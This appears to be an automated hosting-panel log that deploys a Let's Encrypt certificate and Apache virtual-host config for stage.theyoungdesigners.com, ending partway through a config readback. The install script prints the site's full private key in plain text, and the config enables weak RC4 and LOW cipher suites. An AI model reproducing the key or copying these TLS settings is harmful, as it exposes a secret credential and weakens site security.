MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-17 06:00:01: Establishing a connection
2026-04-17 06:00:03: Establishing a connection
2026-04-17 06:00:04: 

PUT: /tmp/pkp216932

#!/bin/bash
if [ -d "/mnt/internal/www/theyoungdesigners_stage/public/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-17 06:00:05: 

chmod 755 /tmp/pkp216932; /tmp/pkp216932; rm /tmp/pkp216932

2026-04-17 06:00:05: 


1


2026-04-17 06:00:06: Establishing a connection
2026-04-17 06:00:07: 

PUT: /tmp/pkp987460

#!/bin/bash
mkdir -p "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cd "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cat > 45cPQezNsfG9Z2n3_j-X1spVG5UZj0W_jtQpXlyK0n0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
45cPQezNsfG9Z2n3_j-X1spVG5UZj0W_jtQpXlyK0n0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 45cPQezNsfG9Z2n3_j-X1spVG5UZj0W_jtQpXlyK0n0


2026-04-17 06:00:08: 

chmod 755 /tmp/pkp987460; /tmp/pkp987460; rm /tmp/pkp987460

2026-04-17 06:00:08: 




2026-04-17 06:00:14: Establishing a connection
2026-04-17 06:00:15: 

PUT: /tmp/pkp266029

#!/bin/bash
mkdir -p "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cd "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
rm 45cPQezNsfG9Z2n3_j-X1spVG5UZj0W_jtQpXlyK0n0


2026-04-17 06:00:16: 

chmod 755 /tmp/pkp266029; /tmp/pkp266029; rm /tmp/pkp266029

2026-04-17 06:00:16: 




2026-04-17 06:00:16: Establishing a connection
2026-04-17 06:00:17: 

PUT: /tmp/pkp403230

#!/bin/bash
temp_file=$(mktemp)
TARGET=71986a4933a5df06d6ba64d41a00e6e1.crt

cat > $temp_file <<'endmsg'
1e:ed:6b:bc:b1:e0:bf:34:90:ba:c5:77:51:cb:b9:a5

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBsd9jaOUuEWyJrTapK/ipZAaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDE3MDUwMTQzWhcNMjYwNzE2MDUwMTQyWjAmMSQwIgYDVQQD
ExtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQC28I5U4d3ypMeS/28h8l7zUgg+rxg2Rv8IE9x5kbdkiKtr
4yuLpoFp4XwOmDgqxQuhs9xaMSazZRLRQyFDFur1dAORroIPBxNySsASknZQA1fP
F3HF+KDPAkAPbe/h/EQ1iPGQhOigkqC2mQJWTW9grm2zMSikHDWqpHuC5lKsvd2V
GCHjZvdZlIbdYNmETUgJN08iNXjDk2nyfd6H2ElgAPe/JdmBsRenpFC4uapOQh0G
+hdXwwhsRFz9ndlVf1Ppp4PO1zXtEboFT4OUKFjDmdFJHKfGm/llrrCB1svpkx55
IU0+eWbyW0OVfFgwTWoJ0iIFsK4UQiRgKduMbsKPAgMBAAGjggIqMIICJjAOBgNV
HQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUYcZ7BnPwB6w6zNu6hfDKsDahTuMwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAmBgNVHREEHzAdghtzdGFnZS50aGV5b3VuZ2Rl
c2lnbmVycy5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8yNy5jcmwwggENBgorBgEEAdZ5AgQC
BIH+BIH7APkAdwDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ2a
BoxGAAAEAwBIMEYCIQCeREOxGY6pcb2dekJTw2tIirSWI2idQzPvq7EUN8oaLwIh
ANA04yNE58uJB4+CEFVDxUaIEU8d5vvKkiOqOAn9JOykAH4AqCbL4wrGNRJGUz/g
ZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGdmgaPoQAIAAAFAAc2H1kEAwBHMEUCIEAo
FDLAGo0i74iZ6Yg78yRpQRRid3T+uCkpQwGIxeSJAiEAiQH6SRCQ4Wo2BMrd4Gv+
BKNxKWyNgTrQ5m7Lkc0WyqUwDQYJKoZIhvcNAQELBQADggEBAK2Nmd5jBnukpHMg
yxiEj2hW+ZmSWRUTnJ7Jf5sSCqHz4kARYPL5BbO5AS4d5LA9meu7SonX5mwTHbOu
8WQuHWET8UYt2tAS91aGSvvwcUpKjxyX+V00JtJUrvs2eR0fHurMJSucyZ7fiEZl
WrcTgcBdvrOD9C7rYD2SwMQ2yY4R+0P70emkLJZCgsigKbewak0uJCpZUhWDqR16
J9McgY6EzsNvUKiwHs6esle/kXflUPRNX+KEuTWF2ohPdlLLBA2Qj4y8jsDIXr9E
oGwvamAS89Ol3o2sgenRHdMfa9zDKpqHIDiV8Qp3S//Jc9zvj2a1R4YeU/jmv8DP
7euTzdA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC28I5U4d3ypMeS
/28h8l7zUgg+rxg2Rv8IE9x5kbdkiKtr4yuLpoFp4XwOmDgqxQuhs9xaMSazZRLR
QyFDFur1dAORroIPBxNySsASknZQA1fPF3HF+KDPAkAPbe/h/EQ1iPGQhOigkqC2
mQJWTW9grm2zMSikHDWqpHuC5lKsvd2VGCHjZvdZlIbdYNmETUgJN08iNXjDk2ny
fd6H2ElgAPe/JdmBsRenpFC4uapOQh0G+hdXwwhsRFz9ndlVf1Ppp4PO1zXtEboF
T4OUKFjDmdFJHKfGm/llrrCB1svpkx55IU0+eWbyW0OVfFgwTWoJ0iIFsK4UQiRg
KduMbsKPAgMBAAECggEAUVo4cVbgNH9CoQQmj5oQz3OzZuzGf5yi3Ry39vft7i84
zAmB2+B3vHYhjPv0PlDSE17ApvskkrJn49dOe189rVmiHK7V94jWBQVo1Nl886gI
7HcoiTk/ic8eXb4t5vkf/A6iHfp82Ktb/NeeSnK1DPGEpyM9R32j//aVVmjGazpi
V0FnTc+/B45p5X+hXKxGwCM+TiwnlrLawqcrkpXCTXPD74r6BhZJCb6qXJVLn7jB
5VuUZSL/ZOt66M1SSRD+hXm3MXzhuMvPyM0r8qqH//nN7RQzr/ubmX3rnw+knJit
To/LLER/EM0IJQCt6vfWM3HJWp/VSKlKgCbRLFd0wQKBgQDvLDH0zGOyRwPHaiKv
4rBGUVI3aWBsM0DYnS5IgR9tb/cMzi+y7SayLsORIXrBziN9z8XKgX8pvGGKUCly
NEM0JduWmCGY29RONZAjDGk6VKrdEGPkH1kRyNw52eJ9ERCrOnbthhFlKPYkYZlf
4kPhZ4UKq5/sXVmKBxu19bKFZQKBgQDDz4iEO9fwnKwAItapjvEXiLmbrg8c+3cq
niptiMiOnEqyM/Cn3vSnqvv6TzhfAT2Y+l8Cja4CvLhzWfhGm7CRaF724hECR3Ds
3DZgLinWl/TOEuWXRm7dButLdyg04NNQ9XfDVHuVYZFQg/051hpjgG4lpgTPsbiU
XLKkMNXy4wKBgQDIJycjYwynvDBYaOTgZof4QMPaJXCQ/A9vd5KtEIn5brLD36Uh
Sr+Qa/wz712o5NbkycUPpHGDvuet9UnKDhyTfn8Wtvee0ZEJZl/aRN+m9gYLfFTs
KqPCc2KBc2rMGUTm1sWCHyldi/r5FUhiaps9/gDjnh72kmSFU0+IZjZg1QKBgQDA
43yYvpbO6JcrHyaVK0FmLIKi0EkFBNZz/hDPi/H9Qgr3FuFXjPM3A+Fqx4VBWWiD
fQgA7O5gteWBhDxl2dKKuuTpkPKuaw/b1GYgQvll8pTuN4FBjtmBE+LPmVbbGCoy
U0yh92QyWEWcqhjWU4n1QLvAjJWqv2iThelYgt8PfwKBgBWyr4vNJlrZa8yGTxvZ
EuUNLSZD2Xc3a+BxEHarHNY8uVeWHcxa3bQknxN7U8O2fOfTMY7JPoO3EmY2vKxl
n14qeqYuZm4PhgW2NDkOMLQEaf91pJ1M3DsPCSn0sobatWHyOd2nY0D2zVM6dGxY
6oVUQPda57S+zr6rc8/XoHlp
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-17 06:00:18: 

chmod 755 /tmp/pkp403230; /tmp/pkp403230; rm /tmp/pkp403230

2026-04-17 06:00:18: 


dir=/etc/ssl/certs


2026-04-17 06:00:18: 

PUT: /tmp/pkp287030

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/theyoungdesigners_stage.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-17 06:00:19: 

chmod 755 /tmp/pkp287030; /tmp/pkp287030; rm /tmp/pkp287030

2026-04-17 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf 47

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    RewriteEngine       On
    RewriteCond %{REQUEST_METHOD} !POST
    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-17 06:00:19: 

PUT: /tmp/pkp269752

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_stage.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_stage.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_stage.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf= 1'
fi


2026-04-17 06:00:19: 

chmod 755 /tmp/pkp269752; /tmp/pkp269752; rm /tmp/pkp269752

2026-04-17 06:00:20: 




2026-04-17 06:00:20: 

PUT: /tmp/pkp230585

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-17 06:00:20: 

chmod 755 /tmp/pkp230585; /tmp/pkp230585; rm /tmp/pkp230585

2026-04-17 06:00:20: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-17 06:00:20: Establishing a connection
2026-04-17 06:00:21: 

PUT: /tmp/pkp756097

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-17 06:00:22: 

chmod 755 /tmp/pkp756097; /tmp/pkp756097; rm /tmp/pkp756097

2026-04-17 06:00:22: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443                  is a NameVirtualHost
         default server cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:21)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-17 06:00:22: 

PUT: /tmp/pkp461978

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/theyoungdesigners_stage.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-17 06:00:23: 

chmod 755 /tmp/pkp461978; /tmp/pkp461978; rm /tmp/pkp461978

2026-04-17 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf	1424

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
